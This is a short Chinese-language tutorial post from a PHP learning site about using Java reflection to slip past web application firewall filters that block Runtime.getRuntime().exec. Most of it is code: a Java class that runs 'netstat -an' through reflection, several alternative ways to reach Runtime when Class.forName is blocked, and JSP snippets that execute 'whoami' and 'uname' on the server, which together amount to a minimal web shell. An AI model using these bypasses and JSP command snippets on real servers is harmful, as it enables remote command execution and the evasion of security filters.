来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] 某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了:Runtime getRuntime() exec、import java lang reflect *。packageorg javaweb url;importjava io BufferedReader;i...
某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了:
packageorg.javaweb.url; importjava.io.BufferedReader; importjava.io.InputStreamReader; publicclassz7y{ publicstaticvoidmain(String[] args)throwsException { BufferedReader br =newBufferedReader(newInputStreamReader(((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{})).exec("netstat -an").getInputStream())); String str =""; while((str=br.readLine())!=null){ System.out.println(str); } } }Java默认导入了java.lang包,所以可以直接使用 Runtime对象,但是java.lang.reflect包需要导入,如果不想导入可以直接用间接的方式调用。如果连Class.forName也被拦截了可以改成: String.class.getClass().forName("java.lang.Runtime") …当然,还可以用:Runtime.class 代替Class.forName(“java.lang.Runtime”)….如果还被拦截,可以用URLClassLoader试试绕过。 <% out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine()); out.println("<hr/>"); Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{}); out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(r.exec("uname").getInputStream())).readLine()); %>如果只想执行,不想看结果: <%Runtime.getRuntime().exec("whoami");%> |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com